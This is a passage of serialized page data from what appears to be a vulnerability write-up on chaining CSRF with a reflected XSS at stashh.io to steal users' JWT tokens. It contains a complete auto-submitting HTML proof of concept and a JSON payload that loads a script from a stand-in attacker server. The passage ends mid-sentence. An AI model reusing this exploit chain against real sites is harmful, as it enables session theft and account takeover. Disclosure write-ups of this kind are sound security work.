fetch",{"type":23,"tag":314,"props":32179,"children":32180},{"style":354},[32181],{"type":28,"value":341},{"type":23,"tag":314,"props":32183,"children":32184},{"style":1245},[32185],{"type":28,"value":32186},"\"/sapo.png\"",{"type":23,"tag":314,"props":32188,"children":32189},{"style":354},[32190],{"type":28,"value":32191},")).",{"type":23,"tag":314,"props":32193,"children":32194},{"style":332},[32195],{"type":28,"value":32196},"blob",{"type":23,"tag":314,"props":32198,"children":32199},{"style":354},[32200],{"type":28,"value":6990},{"type":23,"tag":314,"props":32202,"children":32203},{"class":316,"line":1452},[32204],{"type":23,"tag":314,"props":32205,"children":32206},{"emptyLinePlaceholder":18},[32207],{"type":28,"value":1088},{"type":23,"tag":314,"props":32209,"children":32210},{"class":316,"line":1497},[32211,32215,32220,32224,32228,32233,32238,32242,32246,32251,32256,32261,32266],{"type":23,"tag":314,"props":32212,"children":32213},{"style":360},[32214],{"type":28,"value":2319},{"type":23,"tag":314,"props":32216,"children":32217},{"style":360},[32218],{"type":28,"value":32219}," f",{"type":23,"tag":314,"props":32221,"children":32222},{"style":354},[32223],{"type":28,"value":32159},{"type":23,"tag":314,"props":32225,"children":32226},{"style":321},[32227],{"type":28,"value":14364},{"type":23,"tag":314,"props":32229,"children":32230},{"style":332},[32231],{"type":28,"value":32232}," File",{"type":23,"tag":314,"props":32234,"children":32235},{"style":354},[32236],{"type":28,"value":32237},"([",{"type":23,"tag":314,"props":32239,"children":32240},{"style":360},[32241],{"type":28,"value":32196},{"type":23,"tag":314,"props":32243,"children":32244},{"style":354},[32245],{"type":28,"value":22298},{"type":23,"tag":314,"props":32247,"children":32248},{"style":1245},[32249],{"type":28,"value":32250},"'sapo.png'",{"type":23,"tag":314,"props":32252,"children":32253},{"style":354},[32254],{"type":28,"value":32255},", {",{"type":23,"tag":314,"props":32257,"children":32258},{"style":360},[32259],{"type":28,"value":32260},"type:",{"type":23,"tag":314,"props":32262,"children":32263},{"style":1245},[32264],{"type":28,"value":32265}," 'image/png'",{"type":23,"tag":314,"props":32267,"children":32268},{"style":354},[32269],{"type":28,"value":32270},"})\n",{"type":23,"tag":314,"props":32272,"children":32273},{"class":316,"line":1539},[32274,32278,32283,32287,32291,32296],{"type":23,"tag":314,"props":32275,"children":32276},{"style":360},[32277],{"type":28,"value":32149},{"type":23,"tag":314,"props":32279,"children":32280},{"style":360},[32281],{"type":28,"value":32282}," dataTransfer",{"type":23,"tag":314,"props":32284,"children":32285},{"style":354},[32286],{"type":28,"value":32159},{"type":23,"tag":314,"props":32288,"children":32289},{"style":321},[32290],{"type":28,"value":14364},{"type":23,"tag":314,"props":32292,"children":32293},{"style":332},[32294],{"type":28,"value":32295}," DataTransfer",{"type":23,"tag":314,"props":32297,"children":32298},{"style":354},[32299],{"type":28,"value":2926},{"type":23,"tag":314,"props":32301,"children":32302},{"class":316,"line":1548},[32303,32308,32312,32317,32321,32325,32329,32334],{"type":23,"tag":314,"props":32304,"children":32305},{"style":360},[32306],{"type":28,"value":32307}," dataTransfer",{"type":23,"tag":314,"props":32309,"children":32310},{"style":354},[32311],{"type":28,"value":282},{"type":23,"tag":314,"props":32313,"children":32314},{"style":360},[32315],{"type":28,"value":32316},"items",{"type":23,"tag":314,"props":32318,"children":32319},{"style":354},[32320],{"type":28,"value":282},{"type":23,"tag":314,"props":32322,"children":32323},{"style":332},[32324],{"type":28,"value":8887},{"type":23,"tag":314,"props":32326,"children":32327},{"style":354},[32328],{"type":28,"value":341},{"type":23,"tag":314,"props":32330,"children":32331},{"style":360},[32332],{"type":28,"value":32333},"f",{"type":23,"tag":314,"props":32335,"children":32336},{"style":354},[32337],{"type":28,"value":1025},{"type":23,"tag":314,"props":32339,"children":32340},{"class":316,"line":1584},[32341],{"type":23,"tag":314,"props":32342,"children":32343},{"emptyLinePlaceholder":18},[32344],{"type":28,"value":1088},{"type":23,"tag":314,"props":32346,"children":32347},{"class":316,"line":1617},[32348,32353,32357,32362,32366,32371,32375,32379],{"type":23,"tag":314,"props":32349,"children":32350},{"style":360},[32351],{"type":28,"value":32352}," file123",{"type":23,"tag":314,"props":32354,"children":32355},{"style":354},[32356],{"type":28,"value":282},{"type":23,"tag":314,"props":32358,"children":32359},{"style":360},[32360],{"type":28,"value":32361},"files",{"type":23,"tag":314,"props":32363,"children":32364},{"style":354},[32365],{"type":28,"value":32159},{"type":23,"tag":314,"props":32367,"children":32368},{"style":360},[32369],{"type":28,"value":32370},"dataTransfer",{"type":23,"tag":314,"props":32372,"children":32373},{"style":354},[32374],{"type":28,"value":282},{"type":23,"tag":314,"props":32376,"children":32377},{"style":360},[32378],{"type":28,"value":32361},{"type":23,"tag":314,"props":32380,"children":32381},{"style":354},[32382],{"type":28,"value":2278},{"type":23,"tag":314,"props":32384,"children":32385},{"class":316,"line":1625},[32386,32391],{"type":23,"tag":314,"props":32387,"children":32388},{"style":321},[32389],{"type":28,"value":32390}," }",{"type":23,"tag":314,"props":32392,"children":32393},{"style":338},[32394],{"type":28,"value":32395},")()\n",{"type":23,"tag":314,"props":32397,"children":32398},{"class":316,"line":1660},[32399],{"type":23,"tag":314,"props":32400,"children":32401},{"emptyLinePlaceholder":18},[32402],{"type":28,"value":1088},{"type":23,"tag":314,"props":32404,"children":32405},{"class":316,"line":1708},[32406,32410,32414],{"type":23,"tag":314,"props":32407,"children":32408},{"style":31623},[32409],{"type":28,"value":32092},{"type":23,"tag":314,"props":32411,"children":32412},{"style":321},[32413],{"type":28,"value":31663},{"type":23,"tag":314,"props":32415,"children":32416},{"style":31623},[32417],{"type":28,"value":5247},{"type":23,"tag":314,"props":32419,"children":32420},{"class":316,"line":1743},[32421,32425,32429],{"type":23,"tag":314,"props":32422,"children":32423},{"style":31623},[32424],{"type":28,"value":31677},{"type":23,"tag":314,"props":32426,"children":32427},{"style":321},[32428],{"type":28,"value":31630},{"type":23,"tag":314,"props":32430,"children":32431},{"style":31623},[32432],{"type":28,"value":5247},{"type":23,"tag":24,"props":32434,"children":32435},{},[32436],{"type":28,"value":32437},"When playing around with the application, we discovered that if an invalid address was submitted, the user's input would be reflected directly inside the response, another possible XSS vulnerability.",{"type":23,"tag":24,"props":32439,"children":32440},{},[32441],{"type":28,"value":32442},"However, since the request was a POST request, we initially thought this was only a self-XSS.",{"type":23,"tag":24,"props":32444,"children":32445},{},[32446],{"type":28,"value":32447},"In an effort to increase the impact of the above vulnerability, we discovered a way to leverage Cross-Site Request Forgery (CSRF) to manipulate the user's browser into sending a forced request that contained our XSS payload.",{"type":23,"tag":24,"props":32449,"children":32450},{},[32451],{"type":28,"value":32452},"From here, we were able to steal the session cookie from local storage.",{"type":23,"tag":304,"props":32454,"children":32456},{"className":30611,"code":32455,"language":30613,"meta":7,"style":7},"\u003Chtml>\n \u003Cbody>\n \u003Cscript>history.pushState('', '', '/')\u003C/script>\n \u003Cform id=\"form123\" action=\"https://stashh.io/upload_asset\" method=\"POST\" enctype=\"multipart/form-data\" value=\"asd\">\n \u003Cinput type=\"file\" name=\"data\" id=\"file123\">\n \u003Cinput type=\"hidden\" name=\"config\" value=\"{"address":"<img/src=x onerror=import(`https://attacker-server.com/leak.js`)>","to":"profile-assets","type":"icon"}\" />\n \u003Cinput type=\"submit\" value=\"Submit request\" />\n \u003C/form>\n \u003C/body>\n\n \u003Cscript>\n\n (async ()=>{\n const blob = await (await fetch(\"/sapo.png\")).blob()\n\n let f = new File([blob], 'sapo.png', {type: 'image/png'})\n const dataTransfer = new DataTransfer();\n dataTransfer.items.add(f);\n\n file123.files = dataTransfer.files;\n\n form123.submit()\n })()\n\n \u003C/script>\n\u003C/html>\n",[32457],{"type":23,"tag":94,"props":32458,"children":32459},{"__ignoreMap":7},[32460,32475,32490,32521,32596,32647,32835,32874,32889,32904,32911,32926,32933,32944,32995,33002,33057,33084,33119,33126,33161,33168,33189,33200,33207,33222],{"type":23,"tag":314,"props":32461,"children":32462},{"class":316,"line":317},[32463,32467,32471],{"type":23,"tag":314,"props":32464,"children":32465},{"style":31623},[32466],{"type":28,"value":5060},{"type":23,"tag":314,"props":32468,"children":32469},{"style":321},[32470],{"type":28,"value":31630},{"type":23,"tag":314,"props":32472,"children":32473},{"style":31623},[32474],{"type":28,"value":5247},{"type":23,"tag":314,"props":32476,"children":32477},{"class":316,"line":370},[32478,32482,32486],{"type":23,"tag":314,"props":32479,"children":32480},{"style":31623},[32481],{"type":28,"value":31642},{"type":23,"tag":314,"props":32483,"children":32484},{"style":321},[32485],{"type":28,"value":31647},{"type":23,"tag":314,"props":32487,"children":32488},{"style":31623},[32489],{"type":28,"value":5247},{"type":23,"tag":314,"props":32491,"children":32492},{"class":316,"line":380},[32493,32497,32501,32505,32509,32513,32517],{"type":23,"tag":314,"props":32494,"children":32495},{"style":31623},[32496],{"type":28,"value":31642},{"type":23,"tag":314,"props":32498,"children":32499},{"style":321},[32500],{"type":28,"value":31663},{"type":23,"tag":314,"props":32502,"children":32503},{"style":31623},[32504],{"type":28,"value":9710},{"type":23,"tag":314,"props":32506,"children":32507},{"style":338},[32508],{"type":28,"value":31672},{"type":23,"tag":314,"props":32510,"children":32511},{"style":31623},[32512],{"type":28,"value":31677},{"type":23,"tag":314,"props":32514,"children":32515},{"style":321},[32516],{"type":28,"value":31663},{"type":23,"tag":314,"props":32518,"children":32519},{"style":31623},[32520],{"type":28,"value":5247},{"type":23,"tag":314,"props":32522,"children":32523},{"class":316,"line":1091},[32524,32528,32532,32536,32540,32544,32548,32552,32556,32560,32564,32568,32572,32576,32580,32584,32588,32592],{"type":23,"tag":314,"props":32525,"children":32526},{"style":31623},[32527],{"type":28,"value":31693},{"type":23,"tag":314,"props":32529,"children":32530},{"style":321},[32531],{"type":28,"value":31698},{"type":23,"tag":314,"props":32533,"children":32534},{"style":360},[32535],{"type":28,"value":31703},{"type":23,"tag":314,"props":32537,"children":32538},{"style":354},[32539],{"type":28,"value":1102},{"type":23,"tag":314,"props":32541,"children":32542},{"style":1245},[32543],{"type":28,"value":31712},{"type":23,"tag":314,"props":32545,"children":32546},{"style":360},[32547],{"type":28,"value":31717},{"type":23,"tag":314,"props":32549,"children":32550},{"style":354},[32551],{"type":28,"value":1102},{"type":23,"tag":314,"props":32553,"children":32554},{"style":1245},[32555],{"type":28,"value":31726},{"type":23,"tag":314,"props":32557,"children":32558},{"style":360},[32559],{"type":28,"value":16349},{"type":23,"tag":314,"props":32561,"children":32562},{"style":354},[32563],{"type":28,"value":1102},{"type":23,"tag":314,"props":32565,"children":32566},{"style":1245},[32567],{"type":28,"value":31739},{"type":23,"tag":314,"props":32569,"children":32570},{"style":360},[32571],{"type":28,"value":31744},{"type":23,"tag":314,"props":32573,"children":32574},{"style":354},[32575],{"type":28,"value":1102},{"type":23,"tag":314,"props":32577,"children":32578},{"style":1245},[32579],{"type":28,"value":31753},{"type":23,"tag":314,"props":32581,"children":32582},{"style":360},[32583],{"type":28,"value":31758},{"type":23,"tag":314,"props":32585,"children":32586},{"style":354},[32587],{"type":28,"value":1102},{"type":23,"tag":314,"props":32589,"children":32590},{"style":1245},[32591],{"type":28,"value":31767},{"type":23,"tag":314,"props":32593,"children":32594},{"style":31623},[32595],{"type":28,"value":5247},{"type":23,"tag":314,"props":32597,"children":32598},{"class":316,"line":1141},[32599,32603,32607,32611,32615,32619,32623,32627,32631,32635,32639,32643],{"type":23,"tag":314,"props":32600,"children":32601},{"style":31623},[32602],{"type":28,"value":31779},{"type":23,"tag":314,"props":32604,"children":32605},{"style":321},[32606],{"type":28,"value":99},{"type":23,"tag":314,"props":32608,"children":32609},{"style":360},[32610],{"type":28,"value":31788},{"type":23,"tag":314,"props":32612,"children":32613},{"style":354},[32614],{"type":28,"value":1102},{"type":23,"tag":314,"props":32616,"children":32617},{"style":1245},[32618],{"type":28,"value":31797},{"type":23,"tag":314,"props":32620,"children":32621},{"style":360},[32622],{"type":28,"value":31802},{"type":23,"tag":314,"props":32624,"children":32625},{"style":354},[32626],{"type":28,"value":1102},{"type":23,"tag":314,"props":32628,"children":32629},{"style":1245},[32630],{"type":28,"value":31811},{"type":23,"tag":314,"props":32632,"children":32633},{"style":360},[32634],{"type":28,"value":31703},{"type":23,"tag":314,"props":32636,"children":32637},{"style":354},[32638],{"type":28,"value":1102},{"type":23,"tag":314,"props":32640,"children":32641},{"style":1245},[32642],{"type":28,"value":31824},{"type":23,"tag":314,"props":32644,"children":32645},{"style":31623},[32646],{"type":28,"value":5247},{"type":23,"tag":314,"props":32648,"children":32649},{"class":316,"line":1173},[32650,32654,32658,32662,32666,32670,32674,32678,32682,32686,32690,32694,32699,32703,32708,32712,32717,32721,32726,32731,32735,32739,32744,32749,32754,32759,32764,32769,32773,32778,32782,32786,32791,32795,32800,32805,32810,32814,32818,32822,32827,32831],{"type":23,"tag":314,"props":32651,"children":32652},{"style":31623},[32653],{"type":28,"value":31836},{"type":23,"tag":314,"props":32655,"children":32656},{"style":321},[32657],{"type":28,"value":99},{"type":23,"tag":314,"props":32659,"children":32660},{"style":360},[32661],{"type":28,"value":31788},{"type":23,"tag":314,"props":32663,"children":32664},{"style":354},[32665],{"type":28,"value":1102},{"type":23,"tag":314,"props":32667,"children":32668},{"style":1245},[32669],{"type":28,"value":31853},{"type":23,"tag":314,"props":32671,"children":32672},{"style":360},[32673],{"type":28,"value":31802},{"type":23,"tag":314,"props":32675,"children":32676},{"style":354},[32677],{"type":28,"value":1102},{"type":23,"tag":314,"props":32679,"children":32680},{"style":1245},[32681],{"type":28,"value":31866},{"type":23,"tag":314,"props":32683,"children":32684},{"style":360},[32685],{"type":28,"value":31758},{"type":23,"tag":314,"props":32687,"children":32688},{"style":354},[32689],{"type":28,"value":1102},{"type":23,"tag":314,"props":32691,"children":32692},{"style":1245},[32693],{"type":28,"value":19297},{"type":23,"tag":314,"props":32695,"children":32696},{"style":321},[32697],{"type":28,"value":32698},"{"",{"type":23,"tag":314,"props":32700,"children":32701},{"style":1245},[32702],{"type":28,"value":31888},{"type":23,"tag":314,"props":32704,"children":32705},{"style":321},[32706],{"type":28,"value":32707},"":"<",{"type":23,"tag":314,"props":32709,"children":32710},{"style":1245},[32711],{"type":28,"value":197},{"type":23,"tag":314,"props":32713,"children":32714},{"style":321},[32715],{"type":28,"value":32716},"/",{"type":23,"tag":314,"props":32718,"children":32719},{"style":1245},[32720],{"type":28,"value":31917},{"type":23,"tag":314,"props":32722,"children":32723},{"style":321},[32724],{"type":28,"value":32725},"=",{"type":23,"tag":314,"props":32727,"children":32728},{"style":1245},[32729],{"type":28,"value":32730},"x onerror",{"type":23,"tag":314,"props":32732,"children":32733},{"style":321},[32734],{"type":28,"value":32725},{"type":23,"tag":314,"props":32736,"children":32737},{"style":1245},[32738],{"type":28,"value":18721},{"type":23,"tag":314,"props":32740,"children":32741},{"style":321},[32742],{"type":28,"value":32743},"(`",{"type":23,"tag":314,"props":32745,"children":32746},{"style":1245},[32747],{"type":28,"value":32748},"https",{"type":23,"tag":314,"props":32750,"children":32751},{"style":321},[32752],{"type":28,"value":32753},"://",{"type":23,"tag":314,"props":32755,"children":32756},{"style":1245},[32757],{"type":28,"value":32758},"attacker-server",{"type":23,"tag":314,"props":32760,"children":32761},{"style":321},[32762],{"type":28,"value":32763},".",{"type":23,"tag":314,"props":32765,"children":32766},{"style":1245},[32767],{"type":28,"value":32768},"com",{"type":23,"tag":314,"props":32770,"children":32771},{"style":321},[32772],{"type":28,"value":32716},{"type":23,"tag":314,"props":32774,"children":32775},{"style":1245},[32776],{"type":28,"value":32777},"leak",{"type":23,"tag":314,"props":32779,"children":32780},{"style":321},[32781],{"type":28,"value":32763},{"type":23,"tag":314,"props":32783,"children":32784},{"style":1245},[32785],{"type":28,"value":30613},{"type":23,"tag":314,"props":32787,"children":32788},{"style":321},[32789],{"type":28,"value":32790},"`)>","",{"type":23,"tag":314,"props":32792,"children":32793},{"style":1245},[32794],{"type":28,"value":31975},{"type":23,"tag":314,"props":32796,"children":32797},{"style":321},[32798],{"type":28,"value":32799},"":"",{"type":23,"tag":314,"props":32801,"children":32802},{"style":1245},[32803],{"type":28,"value":32804},"profile-assets",{"type":23,"tag":314,"props":32806,"children":32807},{"style":321},[32808],{"type":28,"value":32809},"","",{"type":23,"tag":314,"props":32811,"children":32812},{"style":1245},[32813],{"type":28,"value":32004},{"type":23,"tag":314,"props":32815,"children":32816},{"style":321},[32817],{"type":28,"value":32799},{"type":23,"tag":314,"props":32819,"children":32820},{"style":1245},[32821],{"type":28,"value":32013},{"type":23,"tag":314,"props":32823,"children":32824},{"style":321},[32825],{"type":28,"value":32826},""}",{"type":23,"tag":314,"props":32828,"children":32829},{"style":1245},[32830],{"type":28,"value":19297},{"type":23,"tag":314,"props":32832,"children":32833},{"style":31623},[32834],{"type":28,"value":32027},{"type":23,"tag":314,"props":32836,"children":32837},{"class":316,"line":1208},[32838,32842,32846,32850,32854,32858,32862,32866,32870],{"type":23,"tag":314,"props":32839,"children":32840},{"style":31623},[32841],{"type":28,"value":31836},{"type":23,"tag":314,"props":32843,"children":32844},{"style":321},[32845],{"type":28,"value":99},{"type":23,"tag":314,"props":32847,"children":32848},{"style":360},[32849],{"type":28,"value":31788},{"type":23,"tag":314,"props":32851,"children":32852},{"style":354},[32853],{"type":28,"value":1102},{"type":23,"tag":314,"props":32855,"children":32856},{"style":1245},[32857],{"type":28,"value":32051},{"type":23,"tag":314,"props":32859,"children":32860},{"style":360},[32861],{"type":28,"value":31758},{"type":23,"tag":314,"props":32863,"children":32864},{"style":354},[32865],{"type":28,"value":1102},{"type":23,"tag":314,"props":32867,"children":32868},{"style":1245},[32869],{"type":28,"value":32064},{"type":23,"tag":314,"props":32871,"children":32872},{"style":31623},[32873],{"type":28,"value":32027},{"type":23,"tag":314,"props":32875,"children":32876},{"class":316,"line":1216},[32877,32881,32885],{"type":23,"tag":314,"props":32878,"children":32879},{"style":31623},[32880],{"type":28,"value":32076},{"type":23,"tag":314,"props":32882,"children":32883},{"style":321},[32884],{"type":28,"value":31698},{"type":23,"tag":314,"props":32886,"children":32887},{"style":31623},[32888],{"type":28,"value":5247},{"type":23,"tag":314,"props":32890,"children":32891},{"class":316,"line":1301},[32892,32896,32900],{"type":23,"tag":314,"props":32893,"children":32894},{"style":31623},[32895],{"type":28,"value":32092},{"type":23,"tag":314,"props":32897,"children":32898},{"style":321},[32899],{"type":28,"value":31647},{"type":23,"tag":314,"props":32901,"children":32902},{"style":31623},[32903],{"type":28,"value":5247},{"type":23,"tag":314,"props":32905,"children":32906},{"class":316,"line":1343},[32907],{"type":23,"tag":314,"props":32908,"children":32909},{"emptyLinePlaceholder":18},[32910],{"type":28,"value":1088},{"type":23,"tag":314,"props":32912,"children":32913},{"class":316,"line":1351},[32914,32918,32922],{"type":23,"tag":314,"props":32915,"children":32916},{"style":31623},[32917],{"type":28,"value":31642},{"type":23,"tag":314,"props":32919,"children":32920},{"style":321},[32921],{"type":28,"value":31663},{"type":23,"tag":314,"props":32923,"children":32924},{"style":31623},[32925],{"type":28,"value":5247},{"type":23,"tag":314,"props":32927,"children":32928},{"class":316,"line":1387},[32929],{"type":23,"tag":314,"props":32930,"children":32931},{"emptyLinePlaceholder":18},[32932],{"type":28,"value":1088},{"type":23,"tag":314,"props":32934,"children":32935},{"class":316,"line":1422},[32936,32940],{"type":23,"tag":314,"props":32937,"children":32938},{"style":338},[32939],{"type":28,"value":32137},{"type":23,"tag":314,"props":32941,"children":32942},{"style":321},[32943],{"type":28,"value":10129},{"type":23,"tag":314,"props":32945,"children":32946},{"class":316,"line":1430},[32947,32951,32955,32959,32963,32967,32971,32975,32979,32983,32987,32991],{"type":23,"tag":314,"props":32948,"children":32949},{"style":360},[32950],{"type":28,"value":32149},{"type":23,"tag":314,"props":32952,"children":32953},{"style":360},[32954],{"type":28,"value":32154},{"type":23,"tag":314,"props":32956,"children":32957},{"style":354},[32958],{"type":28,"value":32159},{"type":23,"tag":314,"props":32960,"children":32961},{"style":2284},[32962],{"type":28,"value":32164},{"type":23,"tag":314,"props":32964,"children":32965},{"style":354},[32966],{"type":28,"value":2324},{"type":23,"tag":314,"props":32968,"children":32969},{"style":2284},[32970],{"type":28,"value":32164},{"type":23,"tag":314,"props":32972,"children":32973},{"style":332},[32974],{"type":28,"value":32177},{"type":23,"tag":314,"props":32976,"children":32977},{"style":354},[32978],{"type":28,"value":341},{"type":23,"tag":314,"props":32980,"children":32981},{"style":1245},[32982],{"type":28,"value":32186},{"type":23,"tag":314,"props":32984,"children":32985},{"style":354},[32986],{"type":28,"value":32191},{"type":23,"tag":314,"props":32988,"children":32989},{"style":332},[32990],{"type":28,"value":32196},{"type":23,"tag":314,"props":32992,"children":32993},{"style":354},[32994],{"type":28,"value":6990},{"type":23,"tag":314,"props":32996,"children":32997},{"class":316,"line":1452},[32998],{"type":23,"tag":314,"props":32999,"children":33000},{"emptyLinePlaceholder":18},[33001],{"type":28,"value":1088},{"type":23,"tag":314,"props":33003,"children":33004},{"class":316,"line":1497},[33005,33009,33013,33017,33021,33025,33029,33033,33037,33041,33045,33049,33053],{"type":23,"tag":314,"props":33006,"children":33007},{"style":360},[33008],{"type":28,"value":2319},{"type":23,"tag":314,"props":33010,"children":33011},{"style":360},[33012],{"type":28,"value":32219},{"type":23,"tag":314,"props":33014,"children":33015},{"style":354},[33016],{"type":28,"value":32159},{"type":23,"tag":314,"props":33018,"children":33019},{"style":321},[33020],{"type":28,"value":14364},{"type":23,"tag":314,"props":33022,"children":33023},{"style":332},[33024],{"type":28,"value":32232},{"type":23,"tag":314,"props":33026,"children":33027},{"style":354},[33028],{"type":28,"value":32237},{"type":23,"tag":314,"props":33030,"children":33031},{"style":360},[33032],{"type":28,"value":32196},{"type":23,"tag":314,"props":33034,"children":33035},{"style":354},[33036],{"type":28,"value":22298},{"type":23,"tag":314,"props":33038,"children":33039},{"style":1245},[33040],{"type":28,"value":32250},{"type":23,"tag":314,"props":33042,"children":33043},{"style":354},[33044],{"type":28,"value":32255},{"type":23,"tag":314,"props":33046,"children":33047},{"style":360},[33048],{"type":28,"value":32260},{"type":23,"tag":314,"props":33050,"children":33051},{"style":1245},[33052],{"type":28,"value":32265},{"type":23,"tag":314,"props":33054,"children":33055},{"style":354},[33056],{"type":28,"value":32270},{"type":23,"tag":314,"props":33058,"children":33059},{"class":316,"line":1539},[33060,33064,33068,33072,33076,33080],{"type":23,"tag":314,"props":33061,"children":33062},{"style":360},[33063],{"type":28,"value":32149},{"type":23,"tag":314,"props":33065,"children":33066},{"style":360},[33067],{"type":28,"value":32282},{"type":23,"tag":314,"props":33069,"children":33070},{"style":354},[33071],{"type":28,"value":32159},{"type":23,"tag":314,"props":33073,"children":33074},{"style":321},[33075],{"type":28,"value":14364},{"type":23,"tag":314,"props":33077,"children":33078},{"style":332},[33079],{"type":28,"value":32295},{"type":23,"tag":314,"props":33081,"children":33082},{"style":354},[33083],{"type":28,"value":2926},{"type":23,"tag":314,"props":33085,"children":33086},{"class":316,"line":1548},[33087,33091,33095,33099,33103,33107,33111,33115],{"type":23,"tag":314,"props":33088,"children":33089},{"style":360},[33090],{"type":28,"value":32307},{"type":23,"tag":314,"props":33092,"children":33093},{"style":354},[33094],{"type":28,"value":282},{"type":23,"tag":314,"props":33096,"children":33097},{"style":360},[33098],{"type":28,"value":32316},{"type":23,"tag":314,"props":33100,"children":33101},{"style":354},[33102],{"type":28,"value":282},{"type":23,"tag":314,"props":33104,"children":33105},{"style":332},[33106],{"type":28,"value":8887},{"type":23,"tag":314,"props":33108,"children":33109},{"style":354},[33110],{"type":28,"value":341},{"type":23,"tag":314,"props":33112,"children":33113},{"style":360},[33114],{"type":28,"value":32333},{"type":23,"tag":314,"props":33116,"children":33117},{"style":354},[33118],{"type":28,"value":1025},{"type":23,"tag":314,"props":33120,"children":33121},{"class":316,"line":1584},[33122],{"type":23,"tag":314,"props":33123,"children":33124},{"emptyLinePlaceholder":18},[33125],{"type":28,"value":1088},{"type":23,"tag":314,"props":33127,"children":33128},{"class":316,"line":1617},[33129,33133,33137,33141,33145,33149,33153,33157],{"type":23,"tag":314,"props":33130,"children":33131},{"style":360},[33132],{"type":28,"value":32352},{"type":23,"tag":314,"props":33134,"children":33135},{"style":354},[33136],{"type":28,"value":282},{"type":23,"tag":314,"props":33138,"children":33139},{"style":360},[33140],{"type":28,"value":32361},{"type":23,"tag":314,"props":33142,"children":33143},{"style":354},[33144],{"type":28,"value":32159},{"type":23,"tag":314,"props":33146,"children":33147},{"style":360},[33148],{"type":28,"value":32370},{"type":23,"tag":314,"props":33150,"children":33151},{"style":354},[33152],{"type":28,"value":282},{"type":23,"tag":314,"props":33154,"children":33155},{"style":360},[33156],{"type":28,"value":32361},{"type":23,"tag":314,"props":33158,"children":33159},{"style":354},[33160],{"type":28,"value":2278},{"type":23,"tag":314,"props":33162,"children":33163},{"class":316,"line":1625},[33164],{"type":23,"tag":314,"props":33165,"children":33166},{"emptyLinePlaceholder":18},[33167],{"type":28,"value":1088},{"type":23,"tag":314,"props":33169,"children":33170},{"class":316,"line":1660},[33171,33176,33180,33185],{"type":23,"tag":314,"props":33172,"children":33173},{"style":360},[33174],{"type":28,"value":33175}," form123",{"type":23,"tag":314,"props":33177,"children":33178},{"style":354},[33179],{"type":28,"value":282},{"type":23,"tag":314,"props":33181,"children":33182},{"style":332},[33183],{"type":28,"value":33184},"submit",{"type":23,"tag":314,"props":33186,"children":33187},{"style":354},[33188],{"type":28,"value":6990},{"type":23,"tag":314,"props":33190,"children":33191},{"class":316,"line":1708},[33192,33196],{"type":23,"tag":314,"props":33193,"children":33194},{"style":321},[33195],{"type":28,"value":32390},{"type":23,"tag":314,"props":33197,"children":33198},{"style":338},[33199],{"type":28,"value":32395},{"type":23,"tag":314,"props":33201,"children":33202},{"class":316,"line":1743},[33203],{"type":23,"tag":314,"props":33204,"children":33205},{"emptyLinePlaceholder":18},[33206],{"type":28,"value":1088},{"type":23,"tag":314,"props":33208,"children":33209},{"class":316,"line":1751},[33210,33214,33218],{"type":23,"tag":314,"props":33211,"children":33212},{"style":31623},[33213],{"type":28,"value":32092},{"type":23,"tag":314,"props":33215,"children":33216},{"style":321},[33217],{"type":28,"value":31663},{"type":23,"tag":314,"props":33219,"children":33220},{"style":31623},[33221],{"type":28,"value":5247},{"type":23,"tag":314,"props":33223,"children":33224},{"class":316,"line":1791},[33225,33229,33233],{"type":23,"tag":314,"props":33226,"children":33227},{"style":31623},[33228],{"type":28,"value":31677},{"type":23,"tag":314,"props":33230,"children":33231},{"style":321},[33232],{"type":28,"value":31630},{"type":23,"tag":314,"props":33234,"children":33235},{"style":31623},[33236],{"type":28,"value":5247},{"type":23,"tag":24,"props":33238,"children":33239},{},[33240],{"type":28,"value":33241},"This script automatically sends the following config in POST body, which triggers the XSS and imports a malicious javascript file from attacker's server:",{"type":23,"tag":304,"props":33243,"children":33247},{"className":33244,"code":33245,"language":33246,"meta":7,"style":7},"language-json shiki shiki-themes slack-dark","{\n \"address\": \"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\",\n \"to\": \"profile-assets\",\n \"type\": \"icon\"\n}\n","json",[33248],{"type":23,"tag":94,"props":33249,"children":33250},{"__ignoreMap":7},[33251,33258,33279,33300,33317],{"type":23,"tag":314,"props":33252,"children":33253},{"class":316,"line":317},[33254],{"type":23,"tag":314,"props":33255,"children":33256},{"style":338},[33257],{"type":28,"value":10129},{"type":23,"tag":314,"props":33259,"children":33260},{"class":316,"line":370},[33261,33266,33270,33275],{"type":23,"tag":314,"props":33262,"children":33263},{"style":360},[33264],{"type":28,"value":33265}," \"address\"",{"type":23,"tag":314,"props":33267,"children":33268},{"style":338},[33269],{"type":28,"value":14573},{"type":23,"tag":314,"props":33271,"children":33272},{"style":1245},[33273],{"type":28,"value":33274},"\"\u003Cimg/src=x onerror=import(`https://attacker-server.com/leak.js`)>\"",{"type":23,"tag":314,"props":33276,"children":33277},{"style":338},[33278],{"type":28,"value":1870},{"type":23,"tag":314,"props":33280,"children":33281},{"class":316,"line":380},[33282,33287,33291,33296],{"type":23,"tag":314,"props":33283,"children":33284},{"style":360},[33285],{"type":28,"value":33286}," \"to\"",{"type":23,"tag":314,"props":33288,"children":33289},{"style":338},[33290],{"type":28,"value":14573},{"type":23,"tag":314,"props":33292,"children":33293},{"style":1245},[33294],{"type":28,"value":33295},"\"profile-assets\"",{"type":23,"tag":314,"props":33297,"children":33298},{"style":338},[33299],{"type":28,"value":1870},{"type":23,"tag":314,"props":33301,"children":33302},{"class":316,"line":1091},[33303,33308,33312],{"type":23,"tag":314,"props":33304,"children":33305},{"style":360},[33306],{"type":28,"value":33307}," \"type\"",{"type":23,"tag":314,"props":33309,"children":33310},{"style":338},[33311],{"type":28,"value":14573},{"type":23,"tag":314,"props":33313,"children":33314},{"style":1245},[33315],{"type":28,"value":33316},"\"icon\"\n",{"type":23,"tag":314,"props":33318,"children":33319},{"class":316,"line":1141},[33320],{"type":23,"tag":314,"props":33321,"children":33322},{"style":338},[33323],{"type":28,"value":386},{"type":23,"tag":24,"props":33325,"children":33326},{},[33327],{"type":28,"value":33328},"Then, the imported script is able to exfiltrate the JWT authentication token from 